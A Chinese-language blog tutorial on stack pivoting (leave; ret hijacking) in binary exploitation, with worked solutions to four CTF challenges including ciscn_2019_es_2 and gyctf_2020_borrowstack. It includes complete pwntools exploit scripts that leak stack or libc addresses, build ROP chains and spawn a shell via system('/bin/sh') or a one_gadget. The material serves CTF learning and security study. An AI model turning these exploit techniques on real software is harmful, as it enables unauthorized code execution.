栈迁移

对于一些限制数据输入长度的题目,通过栈溢出只能覆盖到 bp of caller 或者返回地址,我们可以考虑栈迁移,将栈迁移到其他区域来构造 ROP 链,但需要注意使用条件:

  • 能够栈溢出,至少也要溢出到 bp of caller
  • 存在可写入的内存区域,先考虑 bss 段,再考虑栈

栈迁移的核心在于,两次的 leave; ret 指令leave; ret 一般位于函数末尾以正常返回到父函数调用栈,其中 leave 等价于

mov esp, ebp		; 恢复栈顶指针
pop ebp				; 恢复基址指针

ret 则等价于 pop eip 。通过修改 BP 基址指针的内容为待迁移的地址,第二次 leave; ret 就可以将程序执行流导向迁移后的地址,从而绕过输入长度限制执行 shell。

原理

可以覆盖到返回地址的情形

以 32 位为例,利用溢出修改 EBP 的内容,并将返回地址填充为 leave; ret 指令的地址,此时函数准备结束,开始执行第一个 leave; ret ,其中 mov esp, ebp 使得两个栈指针处于同一位置,接着执行 pop ebp 就出现了异常:由于 EBP 的内容被篡改为待迁移的地址,EBP 并没有正常地弹到父函数的栈基址,而是我们修改过后的地址;最后执行 pop eip ,程序执行流即将进行到第二个 leave; ret ,此时虽然栈出现了异常情况,但程序依然可以正常返回。

image

接下来开始执行第二个 leave; ret ,其中 mov esp, ebp 使得 ESP 和 EBP 均指向待迁移的地址,pop ebp 将填充好的垃圾数据弹出到 EBP,同时使得 ESP 上移 1 个字长,指向提前布置好的 system() 地址,这样当 pop eip 时就会将 system() 地址弹出到 EIP 中,从而 get shell,如此便可以将完整的 ROP 链迁移到足够大的内存空间执行了。

image

总而言之,我们需要将当前的 ebp of caller 覆盖为新的目标地址 pivoting addr ,则 pivoting addr 加上(上移)一个字长即为新的返回地址,以此类推布置栈帧即可。不过,需要注意以下两点:

  • pivoting addr 这个地址必须是已知的,除非可以泄漏栈地址,优先选择 bss 段,转移 ROP 链的原理与栈是一致的,SP 指针会随 EP 指针一同指向 bss 段对应区域,相当于在其中构建了一个“临时栈”,即劫持栈跳转到 bss 段
  • 要将返回地址覆盖为 leave; ret 指令所在的地址,可通过 ROPgadget --binay xx --only "leave|ret" 搜索,也可自行将指令写入到 bss 段里

只能覆盖到 bp of caller 的情形

以一个 64 位程序为例:

#include<stdio.h>

int v6 = 0x999;

int func_1() {
    char buf[0x20];
    puts("give me your input:");
    read(0, buf, 0x28);
    return 0;
}

int init_func() {
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
    return 0;
}

int main() {
    init_func();
    func_1();
    int num;
    puts("now crack me!");
    scanf("%ld", &num);
    if(v6 == 2024)
        system("/bin/sh\x00");
    return 0;
}
gcc limit_data.c -fno-stack-protector -no-pie -o limit_data -std=c89

不难看出,只能输入 0x28 字节的长度,刚好覆盖到 RBP:

image

我们的目的是要修改 v6 ,从而执行 system("/bin/sh\x00")v6 作为全局变量,值为 0x999 ,位于 .data 段:

image

buf 的溢出无法覆盖到 v6scanf() 写入的是 v4 ,也无法篡改 v6 。通过反汇编可以看出,scanf() 输入的数据存放在 RSI 上,程序通过 rbp + var_4 寻址取出栈上地址值存放到 RSI:

image

var_4 实际上只是一个偏移量:

image

如果我们将 RBP 的地址内容覆盖为 v6 的地址 + 4(这里的 + 4 是为了与 rbp - var_4 寻址的偏移量抵消),func_1() 里的 leave; ret 会实现 RBP 的迁移,这样就可以通过将 2024 输入到 scanf() 中修改 v6 的值了:

from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './limit_data'
io = process(file)

v6_addr = 0x404038
payload = flat([b'a' * 0x20, v6_addr + 4])

io.recvline()
io.send(payload)
io.recvline()
io.sendline(b'2024')
io.interactive()

利用以上方法,我们可以实现任意地址写;同理 read() 的寻址也是依赖于 RBP 的,可以使用类似思路实现任意地址写:

image

例题

ciscn_2019_es_2

题目下载

image

image

发现溢出点,距离 EBP 只有 0x28 个字节,而 read() 可以写入 0x30 个字节,能够溢出覆盖 EBP 和返回地址。程序存在后门函数 hack()echo flag 只是打印出 flag 这个单词而已,缺少 /bin/sh 参数,常规方法下我们至少需要输入 0x28 + 0x4 + 0x4 + 0x4 = 0x34 个字节,大于 read() 允许的输入长度:

image

考虑栈迁移,从 s 开始输入,先布置待迁移地址(内容以 aaaa 占位),再按照函数调用约定布置好 system() 调用栈,需要注意的是其参数应为指向字符串 /bin/sh 的指针地址,参数后面还需要跟着字符串本身,用两个内存单元存储;最后填充垃圾数据溢出到 EBP,EBP 覆盖为待迁移地址,返回地址覆盖为 leave; ret 这一 gadget:

image

我们将迁移的 ROP 链写在栈上了,需要通过第一个 read() 函数泄露栈地址,printf() 的格式化字符串 %s 遇到 \x00 才停止打印,只要第一次 read() 正好输入 0x30 个非 0 字符,read() 就不会自动补 \x00 ,由此顺延打印出栈上地址所包含的内容。我们需要结合 GDB 动态调试来确定偏移量,由上图可知,/bin/sh 字符串地址距待迁移地址所对应内容 aaaa0x10 个字节,那么先发送 0x10a ,后接着 0x18b ,便于定位待迁移地址和 /bin/sh 地址:

payload_1 = b'a' * 0x10 + b'b' * 0x18
io.recvuntil(b'name?\n')
gdb.attach(io)
pause()
io.send(payload_1)

io.interactive()

GDB 执行 finish 跳出 read() 函数后阻塞,回到 Python 运行界面按任意键使 pause() 失效。第一次 read() 之后的 printf() 先泄漏出当前 EBP 所指向的内容,对应着其父函数 main() 的 EBP,以该地址为基准计算偏移:

image

可得待迁移地址偏移为 0xffa87dd8 - 0xffa87da0 = 0x38/bin/sh 地址偏移为 0xffa87dd8 - 0xffa87db0 = 0x28 .

确定各地址的偏移后,需要过滤掉垃圾数据,只获取当前 EBP 的内容,可以通过 b 来定位:

payload_1 = b'a' * 0x27 + b'b' * 0x1
io.recvuntil(b'name?\n')
io.send(payload_1)

io.recvuntil(b'b')		# 从字符 'b' 后面开始接收 4 个字节数据
main_ebp = u32(io.recv(4))

第二次 read() 时,利用第一次泄漏出的 main_ebp 与相关偏移表示各地址,按先前的栈图进行布栈(注意栈的增长方向,高地址向低地址增长,偏移实际上是负数):

system_addr = elf.plt['system']
leave_ret = 0x8048562
# ...
payload_2 = flat([b'aaaa', system_addr, 0xdeadbeef, main_ebp - 0x28, b'/bin/sh']).ljust(0x28, b'\x00')
# ljust 方法保证 s 全部被覆盖
payload_2 += flat([main_ebp - 0x38, leave_ret])
io.send(payload_2)

最终的 Exp 脚本如下:

点击查看代码
from pwn import *
context(log_level='debug', arch='i386', os='linux', terminal=["tmux", "splitw", "-h"])
file = './ciscn_2019_es_2'
io = process(file)
elf = ELF(file)

system_addr = elf.plt['system']
leave_ret = 0x8048562

payload_1 = b'a' * 0x27 + b'b' * 0x1
io.recvuntil(b'name?\n')
io.send(payload_1)

io.recvuntil(b'b')
main_ebp = u32(io.recv(4))

payload_2 = flat([b'aaaa', system_addr, 0xdeadbeef, main_ebp - 0x28, b'/bin/sh']).ljust(0x28, b'\x00')
payload_2 += flat([main_ebp - 0x38, leave_ret])
io.send(payload_2)

io.interactive()

XCTF format2

题目下载

image

表面上开启了 canary 栈溢出保护,实际上在主要的函数中均没有发现,我们可以进行溢出。

image

对于 void* memcpy(void *destin, void *source, unsigned int n) ,从源 source 指向的内存地址的起始位置开始拷贝 n 个字节到目标 destin 指向的内存地址的起始位置中,相当于把地址里的内容复制到另一个地址中Base64Decode()s 解码后的内容存入 v5 ,返回值长度由 v7 接收,由条件判断结构可知 payload 只能发送 0xc = 12 个字节,input 存放的是 payload

image

auth() 中找到了溢出点,v4 距离 EBP 8 字节长度,而 input 可以存放 12 字节长度的数据,利用 memcpy()input 强行复制给 v4 会导致栈溢出,只能覆盖到 EBP。虽然没办法覆盖到返回地址,但是 auth()main() 均会执行一次 leave; ret(其实就是我们在原理一节提到的情形),也可以构成两次 leave; ret ,通过栈迁移执行后门函数 correct()

image

input 就是待迁移地址,处于 bss 段,经过 v4 的拷贝会布置在栈上,如下图构造 input 的 payload,auth() 执行 leave; ret 时,EBP 指向待迁移地址 aaaa ,程序依然正常返回到 main()main() 执行第二次 leave; ret 时,mov esp, ebp 使得 ESP 迁移到了 input 对应的 bss 段,pop ebpaaaa 弹出,ESP 指向后门函数 correct()system("/bin/sh") ,最后 ret 直接弹出到 EIP get shell.

image

correct() 中不需要考虑条件判断,直接取 system("/bin/sh") 即可:

image

当然,Base64Decode() 会将输入的 input 按 base64 解码,需要输入的时候提前用 base64 加密:

from pwn import *
import base64
context(log_level='debug', arch='i386', os='linux')
file = './format2'
io = process(file)

system_addr = 0x8049284
input_addr = 0x811EB40

payload = flat([b'aaaa', system_addr, input_addr])
io.sendline(base64.b64encode(payload))
io.interactive()

Black Watch 入群题_old

题目下载

在 Ubuntu 16.04 机器环境下运行,或者在新版本 Ubuntu 机器中使用 patchelf 为程序附加以 glibc-2.23 运行环境(新版本 glibc 暂时无法打通):

先下载 glic-all-in-one 支持库,方便日后快速下载各种 glibc 版本,同时更新支持库:

# git 会将源码克隆到当前目录
cd ~
git clone https://github.com/matrix1001/glibc-all-in-one
cd glibc-all-in-one
./update_list

cat list 可以查看当前支持的 glibc 版本,使用 ./download 2.23-0ubuntu11.3_i386 指定版本下载到 libs/ 文件夹中。

接下来分别修改程序的 libc 和链接器(两者是配套的!):

# cd 到题目路径
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so spwn	
# 第一个是要替换的链接器,第二个则是程序路径
patchelf --replace-needed libc.so.6 ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so spwn	
# 第一个是原来对应的 libc,一般都是 libc.so.6,第二个则是要替换的 libc,最后一个是程序路径

最后 ldd -v spwn 确认一下全部替换完毕:

image

image

image

vul_function() 中,buf 距离栈底 0x18 个字节,而最后一个 read() 却可以读入 0x20 个字节,很明显这里存在溢出,刚好覆盖 EBP 和返回地址,只能填入 system() 地址(程序里没有,还需要泄漏函数地址),没办法传参了,考虑栈迁移。

可以看到,第一个 read() 将输入的内容存到了 bss 段:

image

那么,我们首先泄漏 libc 基地址,在第一次 read() 输入中将 write_plt 及其参数存入 s ,第二次 read() 输入中将 EBP 改为 s 地址,返回地址改为 leave; ret ,这样当 main() 函数返回时,程序会被劫持到 bss 段,执行 write(1, write_got, 4) 函数泄漏 write() 的 GOT 地址,同时,我们将 write() 的返回地址布置为 main() 的入口地址,返回后再次到 vul_function() 那里跑一遍 read() 去执行 system()

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048513
s_addr = 0x804A300
leave_ret = 0x8048511

payload_1 = flat([b'aaaa', write_plt, main_addr, 1, write_got, 4])
io.recvuntil(b'What is your name?')
io.send(payload_1)

io.recvuntil(b'What do you want to say?')
padding = 0x18
payload_2 = flat([b'a' * padding, s_addr, leave_ret])
io.send(payload_2)

接收泄漏的真实地址并推算出 system 相关的真实地址;执行完 write() ,返回到主函数重新获得了两次 read() 输入机会,依然如法炮制,在第一次输入中布置好 system() 的调用栈,第二次输入则溢出到 EBP,将 EBP 修改为 s 的地址,返回地址覆盖为 leave; ret ,这样就可以在函数返回时再次发生栈迁移,从而成功执行 system()

io.recvuntil(b'What is your name?')
payload_3 = flat([b'aaaa', system_addr, 0xdeadbeef, binsh_addr])
io.send(payload_3)

io.recvuntil(b'What do you want to say?')
payload_4 = flat([b'a' * padding, s_addr, leave_ret])
io.send(payload_4)

完整 Exp 如下:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='i386', os='linux')
file = './spwn'
io = process(file)
elf = ELF(file)

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048513
s_addr = 0x804A300
leave_ret = 0x8048511

# 第一次 vul_function
payload = flat([b'aaaa', write_plt, main_addr, 1, write_got, 4])
io.recvuntil(b'What is your name?')
io.send(payload)

io.recvuntil(b'What do you want to say?')
padding = 0x18
payload_2 = flat([b'a' * padding, s_addr, leave_ret])
io.send(payload_2)

write_addr = u32(io.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

# 第二次 vul_function
io.recvuntil(b'What is your name?')
payload_3 = flat([b'aaaa', system_addr, 0xdeadbeef, binsh_addr])
io.send(payload_3)

io.recvuntil(b'What do you want to say?')
payload_4 = flat([b'a' * padding, s_addr, leave_ret])
io.send(payload_4)

io.interactive()

什么时候用 send(),什么时候用 sendline()?

上述 Exp 脚本中,发送数据均使用 send() ,而不使用 sendline() ,这是因为 sendline() 实际上是发送一行数据,即在发送的数据末尾添加一个回车,这个回车所造成的影响与对应的输入函数有关系。做 pwn 题时,一般输入函数有 scanf()gets()read()fgets() 这四种,其中最常见的是 read() ,我们分别讨论之。

read()

read(fd, buf, count)

  • fd 即文件描述符,标识从哪里读取
  • buf 是一个指针,读取后的数据存放在这儿
  • count 即读取字符的数量

一般 fd 为 0,即从输入的缓冲区读取,读取的内容并非直接输入到指定区域,而是不论输入多少内容,一概读取到缓冲区,即使超出了 count 限制的长度,只是 read() 函数并没有读取缓冲区中超出 count 的部分罢了。

  1. 输入内容小于 count

    此时,输入到缓冲区的内容被全部读取到 buf 所指向的地址,如果采用 sendline() 发送数据,read() 不仅会把输入的数据存入内存单元(对一般的 pwn 题来说,buf 地址位于栈上),还会将回车的 ASCII 码 0x0a 一并写入;那么,回车已经影响到了内存区域的布局,倘若这个影响会妨碍我们利用漏洞,则应该使用 send() 来发送数据。

  2. 输入内容等于 count

    这也就意味着,0x0a 不会存入内存单元中,但回车仍然存放到缓冲区中,等到下一次输入函数调用时,会直接读取缓冲区的回车,gets 则会直接因为这个而正常退出,不会从用户输入读取任何数据。

  3. 输入内容大于 count

    同第二种情况一样,多余的输入数据(包括回车)会继续存放在缓冲区中。

gets()

gets() 虽然会溢出,但会将自身发送的回车从缓冲区中丢弃。实际上gets() 需要回车来声明输入的结束,我们只能使用 sendline() 发送数据来确保 gets() 能够结束。

scanf()

当使用 scanf("%s", &c) 的时候,scanf() 是从第一个非空白字符(指除空格、换行、制表符以外的字符)开始读取的,直到遇见空白字符停止,而余下的内容依然存放在缓冲区中。实际操作中不难发现,scanf() 也是需要 sendline() 的回车声明输入终止的,也不会被回车影响栈上数据。

总结

显然,这道题依赖二次 read() 输入,如果采用 sendline() ,额外添加的回车会导致第二次输入直接退出,不会接收任何我们发送的数据,故只能使用 send()

综上所述,我们可以按如下简单原则实践:

  • read() 使用 send() 发送
  • gets()scanf()fgets() 必须使用 sendline() 发送

gyctf_2020_borrowstack

题目下载

同上题一致,Ubuntu 16.04 运行,或者直接 patchelf

# 下载 glibc-2.23 amd64
./download 2.23-0ubuntu11.3_amd64
# patch
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so gyctf_2020_borrowstack
patchelf --replace-needed libc.so.6 ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so gyctf_2020_borrowstack

image

image

buf 只能溢出到返回地址,而 bank 在 bss 段上,有足够大的数据输入空间,因此我们在 buf 处利用 leave; ret 指令劫持栈,使其跳转到 bss 段利用 puts 泄漏真实地址,再返回到 main() 函数开头重新执行一遍 read() ,执行 system() 函数。

需要注意,bank 起始地址距离 bss 段首较近,而 bss 段离上方低地址 GOT 表也很近,RSP 被劫持到 bss 段后会根据先前写入的 gadget 泄漏函数地址,开辟新的栈帧导致 RSP 指针向低地址移动到 GOT 表,从而非法覆写 GOT 表,使得一些外部函数的全局偏移被修改,致使程序崩溃。

image

同时,bss 段首 0x601060 存放的是 stdout 指针,返回到 main() 函数后又会执行 setbuf(stdout, 0LL) ,栈迁移后泄漏地址 puts() 会执行多次 PUSH 指令压栈,该指针早已被覆盖,读者可以自行调试观察一下:

image

image

位于 0x601060stdout 指针已然被覆盖:

image

那么,之后的第三、四次执行 read() 返回到 main() 函数之后,setbuf(stdout, 0LL) 会由于被非法篡改的 stdout 指针而导致程序崩溃退出,体现为段错误(Segment FaultProcess stopped with exit code -11 (SIGSEGV) )。同理,位于 0x601070stdout 指针也不能被覆盖。

结合 GOT 表、stdin stdout 指针这两处不能覆盖的区域,经过一次次的测试,可以调试出最小偏移量 0xa0 = 160 ,也就是说只要栈迁移地址(RSP 栈迁移后初始指向地址)距离 bank 的起始地址大于等于 160 字节即 20 个内存单元即可。我们可以一开始就将真实栈上的 RBP 覆盖为 bank_addr + 0xa0 ,也可以一次性在 bank 上先布置 20 个 ret 再插入对应的 gadget,每个 ret 占用 8 个字节,20 个 ret20 * 8 = 160 个字节,这样 RSP 会一步步指引 RIP 执行这些 ret ,从而逐渐抬高 fake 栈帧,直到足以容纳整个函数调用而不会覆盖掉其他表项。在这一过程中,RSP 指针好像滑滑梯一般 “呲溜” 滑到高地址,故戏称 ret 滑梯

payload = flat([b'a' * 0x60, bank_addr, leave_ret])
io.sendafter(b'you want\n', payload)

payload_2 = p64(ret) * 20
payload_2 += flat([pop_rdi_ret, puts_got, puts_plt, main_addr])
io.sendafter(b'Done!You can check and use your borrow stack now!\n', payload_2)

泄漏完真实地址,我们可以计算出 libc 库中 system() 函数及对应字符串的偏移,随后布置 system() 栈帧到 bank 上即可;然而,我们会出现与下图类似的问题,卡在了 do_system() 这里:

image

还是段错误。这是因为,64 位 system() 调用繁杂,占用的栈空间很大,依然能够覆盖到 GOT 表致使程序崩溃退出;有没有更强力一点、占用空间更小的调用 system() 方法呢?

有的兄弟,有的。libc 中存在很多执行 execve("/bin/sh", NULL, NULL) 的片段,控制程序跳转到这些 gadget 并满足一定的条件就能快速控制程序执行流 get shell,称作 one gadget

我们通过 apt-get 安装好 one_gadget ,就可以获取到指定 libc 库的 one gadget :

image

one gadget 的使用需要满足一定的条件one_gadget 在每一条 gadget 下的 constraints 一栏均会写出对应的使用条件,我们直接一个个地尝试,哪个可以打通就使用哪个;也可以看看哪一个容易满足条件,一般采用与 RSP 相关的 NULL 条件,通过 GDB 调试利用 ret 改变 RSP 指向的地址,最终使得条件指向的地址为 NULL 即可。

比较幸运,显示结果的第一条 gadget 0x4527a 就可以打通,为防止后续的 puts 干扰栈空间,直接将 main() 的返回地址覆盖为 one gadget:

puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
one_gadget = libc_base + 0x4527a

payload_3 = flat([b'a' * 0x60, 0xdeadbeef, one_gadget])
io.sendafter(b'you want\n', payload_3)
io.sendafter(b'Done!You can check and use your borrow stack now!\n', b'1')
# 最后一个 read 没什么作用了,随便写一个即可

最终 Exp 脚本如下:

点击查看代码
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
file = './gyctf_2020_borrowstack'
io = process(file)
elf = ELF(file)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400703
leave_ret = 0x400699
bank_addr = 0x601080
main_addr = 0x400626
ret = 0x4004c9

payload = flat([b'a' * 0x60, bank_addr, leave_ret])
io.sendafter(b'you want\n', payload)

payload_2 = p64(ret) * 20
payload_2 += flat([pop_rdi_ret, puts_got, puts_plt, main_addr])
io.sendafter(b'Done!You can check and use your borrow stack now!\n', payload_2)

puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
one_gadget = libc_base + 0x4527a

payload_3 = flat([b'a' * 0x60, 0xdeadbeef, one_gadget])
io.sendafter(b'you want\n', payload_3)
io.sendafter(b'Done!You can check and use your borrow stack now!\n', b'1')

io.interactive()
posted @ 2025-07-05 13:25  孤独者的夜空  阅读(24)  评论(0)    收藏  举报